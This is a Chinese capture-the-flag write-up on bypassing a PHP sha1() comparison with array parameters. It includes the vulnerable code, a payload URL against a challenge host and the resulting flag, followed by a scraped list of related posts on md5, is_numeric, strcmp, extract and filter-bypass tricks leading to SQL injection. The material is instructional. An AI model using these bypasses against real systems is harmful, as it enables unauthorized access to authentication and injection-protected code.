代码审计-sha()函数比较绕过

<?php
$flag = "flag";
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘]))
{
var_dump($_GET[‘name‘]);
echo "
";
var_dump($_GET[‘password‘]);
var_dump(sha1($_GET[‘name‘]));
var_dump(sha1($_GET[‘password‘]));
if ($_GET[‘name‘] == $_GET[‘password‘])
echo ‘

Your password can not be your name!
‘;
else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
die(‘Flag: ‘.$flag);
else
echo ‘

Invalid password.
‘;
}
else
echo ‘

Login first!
‘;
?>

sha跟md5函数一样,可以用数组绕过

payload

http://123.206.87.240:9009/7.php?name[]=1&password[]=2

得到

array(1) { [0]=> string(1) "1" }
array(1) {
[0]=>
string(1) "2"
}
NULL
NULL
Flag: flag{bugku--daimasj-a2}

原文地址:https://www.cnblogs.com/gaonuoqi/p/11407477.html

时间: 2024-11-11 00:39:42

代码审计-sha()函数比较绕过的相关文章

中国寒龙博客www.hackerschina.org:代码审计:PHP中is_numeric函数十六进制绕过BUG 发生的安全问题有哪些?

0×00 简介国内一部分CMS程序里面有用到过is_numberic函数,我们先看看这个函数的结构bool is_numeric ( mixed $var )如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE. 0×01 函数是否安全接下来我们来看个例子,说明这个函数是否安全. $s = is_numeric($_GET['s'])?$_GET['s']:0; $sql="insert into test(type)values($s);";//是 values($

CTF经典题型 md5()函数数组绕过

下面是php源码 <? include_once “flag.php”;ini_set(“display_errors”, 0);$str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);$str = substr($str,1);$str = str_replace(‘key’,”,$str);parse_str($str);echo md5($key1); echo md5($key2);if(md5($key1) == md5($key2) &&

php is_numeric函数可绕过产生SQL注入

老老实实mysql_real_escape_string()防作死......is_numeric的SQL利用条件虽然有点苛刻,但还是少用的好= = 某CTF中亦有实测案例,请戳 http://drops.wooyun.org/tips/870 一.is_numberic函数简介国内一部分CMS程序里面有用到过is_numberic函数,我们先看看这个函数的结构bool is_numeric (mixed $var)如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE. 二.函

代码审计-md5加密相等绕过

<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "flag{*}"; } else { echo "false!!!"; }} else{echo "please input a";} ?> 要是md51等于md52

代码审计-数组返回NULL绕过

<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); e

C++在windows平台下不存在strptime函数,可以绕过该函数

https://blog.csdn.net/u011077672/article/details/50524469?utm_source=blogxgwz1 原文地址:https://www.cnblogs.com/Stephen-Qin/p/11637943.html

bugku 代码审计

1.strcmp比较字符串 1.这里strcmp()函数漏洞,在传入非字符串类型的变量,一般是数组,函数返回值是0,payload:?a[]=1. 2.md5()函数 1.md5绕过,payload:?username[]=1&password[]=2. 3.extract变量覆盖 1.extract()函数变量覆盖漏洞,payload:?shiyan=&flag=. 4.数组返回NULL绕过 1. strpos()如果传入的参数是数组,返回的是NULL,不等于FALSE,所以用数组绕过s

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我们需要找一些编码解码的函数来绕过全局防护,本篇介绍base64decode()的情况.漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338 0x02 环境搭建 看背景我们使用了低版本的easytalk程序,版本为X2.4①源码我打包了一份:htt

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338 0x02 环境搭建 看背景我们使用了低版本的easytalk程序,版本为X2.4①源码